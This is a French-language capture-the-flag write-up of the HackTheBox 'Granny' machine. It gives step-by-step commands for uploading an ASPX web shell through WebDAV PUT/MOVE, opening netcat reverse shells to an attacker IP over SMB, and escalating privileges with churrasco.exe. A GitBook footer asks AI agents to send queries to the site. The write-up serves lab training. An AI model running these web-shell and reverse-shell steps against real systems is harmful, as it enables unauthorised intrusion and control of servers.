> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/windows-easy/granny-hackthebox-writeup.md). # Récapitulatif HackTheBox de Granny Récapitulatif de la machine HackTheBox Windows facile Granny couvrant l'abus des méthodes PUT et MOVE - téléversement d'un web shell Aspx, Microsoft IIS 6.0 - débordement de tampon distant WebDAV 'ScStoragePathFromUrl' (RCE), détourn {% embed url="" %} {% hint style="warning" %} **Compétences :** * Abus des méthodes PUT et MOVE - Téléversement d'un WebShell ASPX * Microsoft IIS 6.0 - Débordement de tampon distant WebDAV 'ScStoragePathFromUrl' (RCE) * Détournement de jeton - Churrasco (élévation de privilèges) {% endhint %} ## Reconnaissance **Configuration de l'espace de travail :** Configurez l'espace de travail en créant trois dossiers pour stocker le contenu important, les exploits et les résultats de reconnaissance Nmap.
**Vérification de la connectivité VPN** Vérifiez la connectivité VPN afin d'assurer une communication stable avec la machine cible.
**Découverte des ports ouverts avec Nmap :** ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.15 -oG allPorts ```
**Analyse des versions des ports avec Nmap :** Utilisez Nmap pour analyser les versions des services et enregistrer la sortie dans le fichier "targeted" : ```bash nmap -sCV -p80 10.10.10.15 -oN targeted ```
### Port 80 - HTTP
## Vulnérabilité WebDAV Le port 80 est ouvert, et le serveur prend en charge WebDAV. Cela nous permet potentiellement de téléverser des fichiers via la méthode PUT et de les renommer avec MOVE.
Créez un fichier de test : ```bash echo "this is a test" > test.txt ``` Connectez-vous au serveur avec l' **outil cadaver** : ```bash cadaver 10.10.10.15 ``` Essayez de téléverser le fichier avec la commande PUT :
* Résultat : succès.
### **Téléversement du WebShell** Copiez un WebShell ASPX préexistant : ```bash cp /usr/share/davtest/backdoors/aspx_cmd.aspx . ``` Essayez de le téléverser directement : ```powershell put aspx_cmd.aspx ``` Résultat : échec (le serveur bloque les fichiers avec l'extension .aspx).
Changez l'extension en **.txt**: ```bash mv aspx_cmd.aspx cmd.txt ``` Essayez à nouveau le téléversement : ```powershell PUT cmd.txt ``` * Résultat : succès.
#### Renommez le fichier avec MOVE pour restaurer l'extension : ```powershell move cmd.txt cmd.aspx ```
Accédez au WebShell via le navigateur :
### **Shell inversé via le WebShell :** Placez un exécutable Netcat dans le répertoire courant : ```bash cp /usr/share/SecLists/Web-Shells/FuzzDB/nc.exe . ``` Lancez un serveur SMB pour partager le fichier : ```bash smbserver.py smbFolder $(pwd) -smb2support ``` Écoutez sur votre machine sur le port 443 : ```bash sudo rlwrap nc -nvlp 443 ``` Exécutez la commande de shell inversé depuis le WebShell : ```bash //10.10.14.30/smbFolder/nc.exe -e cmd 10.10.14.30 443 ```
## **Élévation de privilèges :** ### Exploitation du noyau - Windows Server 2003 En utilisant les `systeminfo` commande, nous constatons que l'équipement est très ancien (Windows Server 2003) : ```bash systeminfo ```
Nous avons également le `privilège SeImpersonatePrivilege` qui nous permet d'essayer d'élever les privilèges.
Pour contourner cette limitation, nous utiliserons l' **outil churrasco.exe** . {% embed url="" %} /*/* Transfert de fichiers Windows (SMB)/*/* > Nous utilisons **smbserver.py** pour partager un répertoire contenant le fichier d'exploit 40627.exe. Ce fichier est ensuite copié sur la machine cible. ```bash smbserver.py share $(pwd) -smb2support ``` Depuis la machine cible, nous avons copié le fichier malveillant en utilisant la commande SMB : ```bash copy //10.10.14.30/share/churrasco.exe churrasco.exe ``` Nous pouvons ensuite exécuter n'importe quelle commande avec ce binaire, par exemple : ```powershell ./churrasco.exe "whoami" ```
**Établir un shell inversé** Pour établir un shell inversé, nous écoutons sur le port 443 : ```bash sudo rlwrap nc -nvlp 443 ``` Nous recréons un serveur SMB avec **nc.exe**: ```bash smbserver.py share $(pwd) -smb2support ``` Enfin, nous exécutons le shell inversé avec la commande suivante : ```bash ./churrasco.exe "//10.10.14.30/share/nc.exe -e cmd 10.10.14.30 443" ```
### Flag root.txt :)
--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/windows-easy/granny-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.